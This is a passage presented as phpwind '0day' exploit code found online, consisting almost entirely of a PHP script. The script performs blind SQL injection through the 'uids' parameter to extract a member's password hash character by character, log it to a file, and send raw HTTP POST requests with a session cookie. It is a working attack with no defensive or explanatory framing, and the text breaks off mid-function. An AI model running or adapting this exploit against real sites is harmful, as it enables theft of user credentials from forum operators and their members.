从网上搜到的phpwind 0day的代码

for($i=0;$i<16;$i++)
{

$type=0;
$sub=$i+9;
$temp=md5(rand(1,100)+microtime());
$sql=" union select $tid from ".$pre."members where uid=$uid and ord(mid(password,$sub,1)) >47 and ord(mid(password,$sub,1))<58";
$sql=urlencode($sql);
$temp=md5(rand(1,100)+microtime());
$cmd="step=3&pwuser;=".$temp."loveshell"."&uids;=-1)".$sql."/*.&184288238=kkkk&276791066=jjjjjj";
if(!strpos(send($cmd),$mask)) {

$type=0;
for($m=48;$m<=57;$m++){
$temp=md5(rand(1,100)+microtime());
$sql=" union select $tid from ".$pre."members where uid=$uid and ord(mid(password,$sub,1))=$m";
$sql=urlencode($sql);
$temp=md5(rand(1,100)+microtime());
$cmd="step=3&pwuser;=".$temp."loveshell"."&uids;=-1)".$sql."/*.&184288238=kkkk&276791066=jjjjjj";
if(!strpos(send($cmd),$mask)) {

echo chr($m);
fputs($log,chr($m));
break;
}
continue;
}
continue;
}

$sql=" union select $tid from ".$pre."members where uid=$uid and ord(mid(password,$sub,1)) >96 and ord(mid(password,$sub,1))<123";
$sql=urlencode($sql);
$temp=md5(rand(1,10000)+microtime());
$cmd="step=3&pwuser;=".$temp."loveshell"."&uids;=-1)".$sql."/*.&184288238=kkkk&276791066=jjjjjj";
if(!strpos(send($cmd),$mask)) {

$type=1;
for($m=97;$m<=122;$m++){
$temp=md5(rand(1,100)+microtime());
$sql=" union select $tid from ".$pre."members where uid=$uid and ord(mid(password,$sub,1))=$m";
$sql=urlencode($sql);
$temp=md5(rand(1,100)+microtime());
$cmd="step=3&pwuser;=".$temp."loveshell"."&uids;=-1)".$sql."/*.&184288238=kkkk&276791066=jjjjjj";
if(!strpos(send($cmd),$mask)) {
echo chr($m);
fputs($log,chr($m));
break;
}
continue;
}
continue;
}

echo "error!
";
die("Shit!May be the data you post is Not valid!Try anthor UID\r\n");

}
fclose($log);
echo "
Done!We Post $count times!
";

function send($cmd)
{
global $path,$server,$cookie,$count,$useragent,$debug;

$count=$count+1;
$message = "POST ".$path."? HTTP/1.1\r\n";
$message .= "Accept: /\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Referer: http://".$server.$path."\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: ".$useragent."\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen($cmd)."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cookie: ".$cookie."\r\n";
$message .= "\r\n";
$message .= $cmd."\r\n";

$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = "

";

while($fd&&!feof($fd)) {

$resp .= fread($fd,1024);

}

fclose($fd);

$resp .="